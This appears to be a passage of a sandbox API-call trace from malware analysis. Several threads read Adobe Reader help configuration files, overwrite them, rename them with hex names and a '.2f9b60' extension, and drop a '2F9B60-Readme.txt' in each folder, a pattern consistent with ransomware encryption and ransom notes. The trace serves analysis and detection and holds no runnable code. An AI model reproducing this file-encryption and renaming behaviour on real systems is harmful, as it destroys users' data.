_Format="%c%c" | out: _Dest="b1") returned 2 [0208.127] sprintf (in: _Dest=0x1cd9d3e4, _Format="%c%c" | out: _Dest="cc") returned 2 [0208.127] sprintf (in: _Dest=0x1cd9d3e6, _Format="%c%c" | out: _Dest="70") returned 2 [0208.127] sprintf (in: _Dest=0x1cd9d3e8, _Format="%c%c" | out: _Dest="b2") returned 2 [0208.127] sprintf (in: _Dest=0x1cd9d3ea, _Format="%c%c" | out: _Dest="16") returned 2 [0208.127] sprintf (in: _Dest=0x1cd9d3ec, _Format="%c%c" | out: _Dest="8e") returned 2 [0208.127] sprintf (in: _Dest=0x1cd9d3ee, _Format="%c%c" | out: _Dest="02") returned 2 [0208.127] sprintf (in: _Dest=0x1cd9d3f0, _Format="%c%c" | out: _Dest="08") returned 2 [0208.127] sprintf (in: _Dest=0x1cd9d3f2, _Format="%c%c" | out: _Dest="db") returned 2 [0208.127] sprintf (in: _Dest=0x1cd9d3f4, _Format="%c%c" | out: _Dest="6e") returned 2 [0208.127] sprintf (in: _Dest=0x1cd9d3f6, _Format="%c%c" | out: _Dest="93") returned 2 [0208.127] sprintf (in: _Dest=0x1cd9d3f8, _Format="%c%c" | out: _Dest="a1") returned 2 [0208.127] sprintf (in: _Dest=0x1cd9d3fa, _Format="%c%c" | out: _Dest="e4") returned 2 [0208.127] sprintf (in: _Dest=0x1cd9d3fc, _Format="%c%c" | out: _Dest="d5") returned 2 [0208.127] sprintf (in: _Dest=0x1cd9d3fe, _Format="%c%c" | out: _Dest="c7") returned 2 [0208.127] sprintf (in: _Dest=0x1cd9d400, _Format="%c%c" | out: _Dest="e0") returned 2 [0208.127] sprintf (in: _Dest=0x1cd9d402, _Format="%c%c" | out: _Dest="ae") returned 2 [0208.127] sprintf (in: _Dest=0x1cd9d404, _Format="%c%c" | out: _Dest="31") returned 2 [0208.127] sprintf (in: _Dest=0x1cd9d406, _Format="%c%c" | out: _Dest="65") returned 2 [0208.127] sprintf (in: _Dest=0x1cd9d408, _Format="%c%c" | out: _Dest="30") returned 2 [0208.127] sprintf (in: _Dest=0x1cd9d40a, _Format="%c%c" | out: _Dest="e9") returned 2 [0208.127] sprintf (in: _Dest=0x1cd9d40c, _Format="%c%c" | out: _Dest="b8") returned 2 [0208.127] sprintf (in: _Dest=0x1cd9d40e, _Format="%c%c" | out: _Dest="41") returned 2 [0208.127] sprintf (in: _Dest=0x1cd9d410, _Format="%c%c" | out: _Dest="e6") returned 2 [0208.127] sprintf (in: _Dest=0x1cd9d412, _Format="%c%c" | out: _Dest="c6") returned 2 [0208.128] sprintf (in: _Dest=0x1cd9d414, _Format="%c%c" | out: _Dest="c3") returned 2 [0208.128] sprintf (in: _Dest=0x1cd9d416, _Format="%c%c" | out: _Dest="43") returned 2 [0208.128] sprintf (in: _Dest=0x1cd9d418, _Format="%c%c" | out: _Dest="c3") returned 2 [0208.128] sprintf (in: _Dest=0x1cd9d41a, _Format="%c%c" | out: _Dest="85") returned 2 [0208.128] RtlInitAnsiString (in: DestinationString=0x2f10f708, SourceString="5cab40758c91a55d95b1cc70b2168e0208db6e93a1e4d5c7e0ae316530e9b841e6c6c343c385" | out: DestinationString="5cab40758c91a55d95b1cc70b2168e0208db6e93a1e4d5c7e0ae316530e9b841e6c6c343c385") [0208.128] RtlAnsiStringToUnicodeString (in: DestinationString=0x2f10f6d8, SourceString="5cab40758c91a55d95b1cc70b2168e0208db6e93a1e4d5c7e0ae316530e9b841e6c6c343c385", AllocateDestinationString=1 | out: DestinationString="5cab40758c91a55d95b1cc70b2168e0208db6e93a1e4d5c7e0ae316530e9b841e6c6c343c385") returned 0x0 [0208.128] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x43145e80 [0208.128] wcscat (in: _Dest=0x43145dd0, _Source="5cab40758c91a55d95b" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\5cab40758c91a55d95b") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\5cab40758c91a55d95b" [0208.128] wcscat (in: _Dest=0x43145dd0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\5cab40758c91a55d95b.2f9b60") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\5cab40758c91a55d95b.2f9b60" [0208.128] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\5cab40758c91a55d95b.2f9b60", NtPathName=0x2f10f6b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\5cab40758c91a55d95b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0208.128] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x430fd010 [0209.575] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430fd010) returned 1 [0209.575] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430a6230) returned 1 [0209.575] NtQueryInformationFile (in: FileHandle=0x6c0, IoStatusBlock=0x2f10f718, FileInformation=0x2f10f728, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2f10f718, FileInformation=0x2f10f728) returned 0x0 [0209.575] NtSetInformationFile (FileHandle=0x6c0, IoStatusBlock=0x2f10f718, FileInformation=0x2f10f728, Length=0x28, FileInformationClass=0x4) returned 0x0 [0216.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43145dd0) returned 1 [0216.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43145e80) returned 1 [0216.525] FlushFileBuffers (hFile=0x6c0) returned 1 [0216.532] CloseHandle (hObject=0x6c0) returned 1 [0219.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x431cb1c0 [0219.497] wcscpy (in: _Dest=0x431cb1c0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\" [0219.497] wcscat (in: _Dest=0x431cb1c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\2F9B60-Readme.txt" [0219.497] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\sv_se\\2f9b60-readme.txt")) returned 0xffffffff [0219.497] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\sv_se\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cb4 [0222.580] WriteFile (in: hFile=0x1cb4, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2f10f5d0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2f10f5d0*=0xba9, lpOverlapped=0x0) returned 1 [0224.750] CloseHandle (hObject=0x1cb4) returned 1 [0225.859] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431cb1c0) returned 1 [0225.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20506090) returned 1 Thread: id = 2532 os_tid = 0x570 [0155.132] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\tr_tr\\reader_10.0.helpcfg")) returned 0x20 [0155.132] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR\\Reader_10.0.helpcfg", dwFileAttributes=0x20) returned 1 [0155.133] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\tr_tr\\reader_10.0.helpcfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9b8 [0155.134] GetFileSizeEx (in: hFile=0x9b8, lpFileSize=0x3032fca0 | out: lpFileSize=0x3032fca0*=349) returned 1 [0155.134] SetFilePointerEx (in: hFile=0x9b8, liDistanceToMove=0x159, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.134] ReadFile (in: hFile=0x9b8, lpBuffer=0x3032fc20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3032fc68, lpOverlapped=0x0 | out: lpBuffer=0x3032fc20*, lpNumberOfBytesRead=0x3032fc68*=0x4, lpOverlapped=0x0) returned 1 [0155.135] SetFilePointerEx (in: hFile=0x9b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda1f0 [0155.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddaac0 [0155.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddab50 [0155.137] NtQuerySystemTime (in: CurrentTime=0x3032fb60 | out: CurrentTime=0x3032fb60*=132462177602662000) returned 0x0 [0155.137] RtlRandomEx (in: Seed=0x3032fb50 | out: Seed=0x3032fb50) returned 0x903ae3f [0155.137] RtlRandomEx (in: Seed=0x3032fb50 | out: Seed=0x3032fb50) returned 0x6ddd7109 [0155.137] RtlRandomEx (in: Seed=0x3032fb50 | out: Seed=0x3032fb50) returned 0x708bb9dc [0155.137] RtlRandomEx (in: Seed=0x3032fb50 | out: Seed=0x3032fb50) returned 0xbbf153 [0155.137] RtlRandomEx (in: Seed=0x3032fb50 | out: Seed=0x3032fb50) returned 0x5a7229cd [0155.137] RtlRandomEx (in: Seed=0x3032fb50 | out: Seed=0x3032fb50) returned 0x191a808b [0155.137] RtlRandomEx (in: Seed=0x3032fb50 | out: Seed=0x3032fb50) returned 0x2f85a982 [0155.137] RtlRandomEx (in: Seed=0x3032fb50 | out: Seed=0x3032fb50) returned 0x9da734a [0155.137] RtlRandomEx (in: Seed=0x3032fb50 | out: Seed=0x3032fb50) returned 0x7fc08c69 [0155.137] RtlRandomEx (in: Seed=0x3032fb50 | out: Seed=0x3032fb50) returned 0x6124d322 [0155.137] RtlRandomEx (in: Seed=0x3032fb50 | out: Seed=0x3032fb50) returned 0x77f0b04e [0155.137] RtlRandomEx (in: Seed=0x3032fb50 | out: Seed=0x3032fb50) returned 0x4762050 [0155.137] RtlRandomEx (in: Seed=0x3032fb50 | out: Seed=0x3032fb50) returned 0x3da27a67 [0155.137] RtlRandomEx (in: Seed=0x3032fb50 | out: Seed=0x3032fb50) returned 0x70fe0e82 [0155.137] RtlRandomEx (in: Seed=0x3032fb50 | out: Seed=0x3032fb50) returned 0x285a8dcc [0155.137] RtlRandomEx (in: Seed=0x3032fb50 | out: Seed=0x3032fb50) returned 0x4f6e26dc [0155.137] RtlRandomEx (in: Seed=0x3032fb50 | out: Seed=0x3032fb50) returned 0x22aad567 [0155.137] RtlRandomEx (in: Seed=0x3032fb50 | out: Seed=0x3032fb50) returned 0x45c507dd [0155.137] RtlRandomEx (in: Seed=0x3032fb50 | out: Seed=0x3032fb50) returned 0x3f64380c [0155.137] RtlRandomEx (in: Seed=0x3032fb50 | out: Seed=0x3032fb50) returned 0x76b6d3e9 [0155.137] RtlRandomEx (in: Seed=0x3032fb50 | out: Seed=0x3032fb50) returned 0x3eded4c2 [0155.137] RtlRandomEx (in: Seed=0x3032fb50 | out: Seed=0x3032fb50) returned 0x23d73b83 [0155.137] RtlRandomEx (in: Seed=0x3032fb50 | out: Seed=0x3032fb50) returned 0x2580e947 [0155.137] RtlRandomEx (in: Seed=0x3032fb50 | out: Seed=0x3032fb50) returned 0x31e0fd56 [0155.137] RtlRandomEx (in: Seed=0x3032fb50 | out: Seed=0x3032fb50) returned 0x410b2aee [0155.138] RtlRandomEx (in: Seed=0x3032fb50 | out: Seed=0x3032fb50) returned 0x18a61a2 [0155.138] RtlRandomEx (in: Seed=0x3032fb50 | out: Seed=0x3032fb50) returned 0x38bc3be1 [0155.138] RtlRandomEx (in: Seed=0x3032fb50 | out: Seed=0x3032fb50) returned 0x9895d7a [0155.138] RtlRandomEx (in: Seed=0x3032fb50 | out: Seed=0x3032fb50) returned 0x57588b8a [0155.138] RtlRandomEx (in: Seed=0x3032fb50 | out: Seed=0x3032fb50) returned 0x59ada055 [0155.138] RtlRandomEx (in: Seed=0x3032fb50 | out: Seed=0x3032fb50) returned 0x6bb9e3e5 [0155.138] RtlRandomEx (in: Seed=0x3032fb50 | out: Seed=0x3032fb50) returned 0x15c7f631 [0155.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddab80 [0155.148] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86d140 [0155.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddabb0 [0155.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86d140) returned 1 [0155.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddab50) returned 1 [0155.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda1f0) returned 1 [0155.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced24c0 [0155.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86d140 [0155.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda1f0 [0155.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda1f0) returned 1 [0155.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x428e8ed0 [0155.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x428ecae0 [0155.151] ReadFile (in: hFile=0x9b8, lpBuffer=0x428e8ed0, nNumberOfBytesToRead=0x15d, lpNumberOfBytesRead=0x3032fb50, lpOverlapped=0x0 | out: lpBuffer=0x428e8ed0*, lpNumberOfBytesRead=0x3032fb50*=0x15d, lpOverlapped=0x0) returned 1 [0155.151] SetFilePointerEx (in: hFile=0x9b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.151] WriteFile (hFile=0x9b8, lpBuffer=0x428ecae0, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x3032fb54, lpOverlapped=0x0) [0186.320] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9260 [0186.320] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9290 [0186.321] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9290) returned 1 [0186.321] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x428ecae0) returned 1 [0186.321] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x428e8ed0) returned 1 [0186.322] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86d140) returned 1 [0186.322] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced24c0) returned 1 [0186.322] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1ce5ccb0 [0186.322] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced24c0 [0186.323] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86d140 [0186.323] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9290 [0186.323] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9290) returned 1 [0186.324] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1ce5ccf0 [0186.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9290 [0186.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec92c0 [0186.333] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec92c0) returned 1 [0186.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86d140) returned 1 [0186.335] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced24c0) returned 1 [0186.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x118) returned 0x423aa1d0 [0186.335] SetFilePointerEx (in: hFile=0x9b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.335] WriteFile (in: hFile=0x9b8, lpBuffer=0x423aa1d0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x3032fc70, lpOverlapped=0x0 | out: lpBuffer=0x423aa1d0*, lpNumberOfBytesWritten=0x3032fc70*=0x118, lpOverlapped=0x0) returned 1 [0207.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c260 [0207.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e990 [0207.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9e00 [0207.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9e00) returned 1 [0207.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cdd9e00 [0207.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9dd0 [0207.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9d10 [0207.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9d10) returned 1 [0207.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 [0207.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c260) returned 1 [0207.037] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1cd86250 [0207.037] sprintf (in: _Dest=0x1cd86250, _Format="%c%c" | out: _Dest="2f") returned 2 [0207.037] sprintf (in: _Dest=0x1cd86252, _Format="%c%c" | out: _Dest="9c") returned 2 [0207.037] sprintf (in: _Dest=0x1cd86254, _Format="%c%c" | out: _Dest="86") returned 2 [0207.037] sprintf (in: _Dest=0x1cd86256, _Format="%c%c" | out: _Dest="73") returned 2 [0207.037] sprintf (in: _Dest=0x1cd86258, _Format="%c%c" | out: _Dest="46") returned 2 [0207.037] sprintf (in: _Dest=0x1cd8625a, _Format="%c%c" | out: _Dest="11") returned 2 [0207.037] sprintf (in: _Dest=0x1cd8625c, _Format="%c%c" | out: _Dest="fd") returned 2 [0207.037] sprintf (in: _Dest=0x1cd8625e, _Format="%c%c" | out: _Dest="1b") returned 2 [0207.037] sprintf (in: _Dest=0x1cd86260, _Format="%c%c" | out: _Dest="25") returned 2 [0207.037] sprintf (in: _Dest=0x1cd86262, _Format="%c%c" | out: _Dest="4b") returned 2 [0207.037] sprintf (in: _Dest=0x1cd86264, _Format="%c%c" | out: _Dest="4a") returned 2 [0207.037] sprintf (in: _Dest=0x1cd86266, _Format="%c%c" | out: _Dest="19") returned 2 [0207.037] sprintf (in: _Dest=0x1cd86268, _Format="%c%c" | out: _Dest="5f") returned 2 [0207.038] sprintf (in: _Dest=0x1cd8626a, _Format="%c%c" | out: _Dest="13") returned 2 [0207.038] sprintf (in: _Dest=0x1cd8626c, _Format="%c%c" | out: _Dest="94") returned 2 [0207.038] sprintf (in: _Dest=0x1cd8626e, _Format="%c%c" | out: _Dest="9c") returned 2 [0207.038] sprintf (in: _Dest=0x1cd86270, _Format="%c%c" | out: _Dest="ec") returned 2 [0207.038] sprintf (in: _Dest=0x1cd86272, _Format="%c%c" | out: _Dest="62") returned 2 [0207.038] sprintf (in: _Dest=0x1cd86274, _Format="%c%c" | out: _Dest="f9") returned 2 [0207.038] sprintf (in: _Dest=0x1cd86276, _Format="%c%c" | out: _Dest="bf") returned 2 [0207.038] sprintf (in: _Dest=0x1cd86278, _Format="%c%c" | out: _Dest="ca") returned 2 [0207.038] sprintf (in: _Dest=0x1cd8627a, _Format="%c%c" | out: _Dest="a9") returned 2 [0207.038] sprintf (in: _Dest=0x1cd8627c, _Format="%c%c" | out: _Dest="cd") returned 2 [0207.038] sprintf (in: _Dest=0x1cd8627e, _Format="%c%c" | out: _Dest="de") returned 2 [0207.038] sprintf (in: _Dest=0x1cd86280, _Format="%c%c" | out: _Dest="d0") returned 2 [0207.038] sprintf (in: _Dest=0x1cd86282, _Format="%c%c" | out: _Dest="ee") returned 2 [0207.038] sprintf (in: _Dest=0x1cd86284, _Format="%c%c" | out: _Dest="e5") returned 2 [0207.038] sprintf (in: _Dest=0x1cd86286, _Format="%c%c" | out: _Dest="3f") returned 2 [0207.038] sprintf (in: _Dest=0x1cd86288, _Format="%c%c" | out: _Dest="62") returned 2 [0207.038] sprintf (in: _Dest=0x1cd8628a, _Format="%c%c" | out: _Dest="ff") returned 2 [0207.038] sprintf (in: _Dest=0x1cd8628c, _Format="%c%c" | out: _Dest="b5") returned 2 [0207.038] sprintf (in: _Dest=0x1cd8628e, _Format="%c%c" | out: _Dest="dd") returned 2 [0207.038] sprintf (in: _Dest=0x1cd86290, _Format="%c%c" | out: _Dest="c9") returned 2 [0207.038] sprintf (in: _Dest=0x1cd86292, _Format="%c%c" | out: _Dest="48") returned 2 [0207.038] sprintf (in: _Dest=0x1cd86294, _Format="%c%c" | out: _Dest="5b") returned 2 [0207.038] sprintf (in: _Dest=0x1cd86296, _Format="%c%c" | out: _Dest="1b") returned 2 [0207.038] sprintf (in: _Dest=0x1cd86298, _Format="%c%c" | out: _Dest="54") returned 2 [0207.038] sprintf (in: _Dest=0x1cd8629a, _Format="%c%c" | out: _Dest="7b") returned 2 [0207.038] RtlInitAnsiString (in: DestinationString=0x3032fce8, SourceString="2f9c86734611fd1b254b4a195f13949cec62f9bfcaa9cdded0eee53f62ffb5ddc9485b1b547b" | out: DestinationString="2f9c86734611fd1b254b4a195f13949cec62f9bfcaa9cdded0eee53f62ffb5ddc9485b1b547b") [0207.038] RtlAnsiStringToUnicodeString (in: DestinationString=0x3032fcb8, SourceString="2f9c86734611fd1b254b4a195f13949cec62f9bfcaa9cdded0eee53f62ffb5ddc9485b1b547b", AllocateDestinationString=1 | out: DestinationString="2f9c86734611fd1b254b4a195f13949cec62f9bfcaa9cdded0eee53f62ffb5ddc9485b1b547b") returned 0x0 [0207.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x4314fdd0 [0207.039] wcscat (in: _Dest=0x4314fd20, _Source="2f9c86734611fd1b254" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR\\2f9c86734611fd1b254") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR\\2f9c86734611fd1b254" [0207.039] wcscat (in: _Dest=0x4314fd20, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR\\2f9c86734611fd1b254.2f9b60") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR\\2f9c86734611fd1b254.2f9b60" [0207.039] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR\\2f9c86734611fd1b254.2f9b60", NtPathName=0x3032fc90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR\\2f9c86734611fd1b254.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4310c1f0 [0209.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310c1f0) returned 1 [0209.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420560b0) returned 1 [0209.150] NtQueryInformationFile (in: FileHandle=0x9b8, IoStatusBlock=0x3032fcf8, FileInformation=0x3032fd08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3032fcf8, FileInformation=0x3032fd08) returned 0x0 [0209.150] NtSetInformationFile (FileHandle=0x9b8, IoStatusBlock=0x3032fcf8, FileInformation=0x3032fd08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0209.650] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4314fd20) returned 1 [0209.650] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4314fdd0) returned 1 [0209.650] FlushFileBuffers (hFile=0x9b8) returned 1 [0212.755] CloseHandle (hObject=0x9b8) returned 1 [0215.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x43188520 [0215.701] wcscpy (in: _Dest=0x43188520, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR\\" [0215.701] wcscat (in: _Dest=0x43188520, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR\\2F9B60-Readme.txt" [0215.701] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\tr_tr\\2f9b60-readme.txt")) returned 0xffffffff [0215.701] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\tr_tr\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7ac [0218.152] WriteFile (in: hFile=0x7ac, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3032fbb0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x3032fbb0*=0xba9, lpOverlapped=0x0) returned 1 [0222.503] CloseHandle (hObject=0x7ac) returned 1 [0224.718] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43188520) returned 1 [0224.720] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20506130) returned 1 Thread: id = 2533 os_tid = 0x9b4 [0155.153] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\uk_ua\\reader_10.0.helpcfg")) returned 0x20 [0155.153] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA\\Reader_10.0.helpcfg", dwFileAttributes=0x20) returned 1 [0155.154] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\uk_ua\\reader_10.0.helpcfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe8c [0155.155] GetFileSizeEx (in: hFile=0xe8c, lpFileSize=0x2ff5f6e0 | out: lpFileSize=0x2ff5f6e0*=349) returned 1 [0155.155] SetFilePointerEx (in: 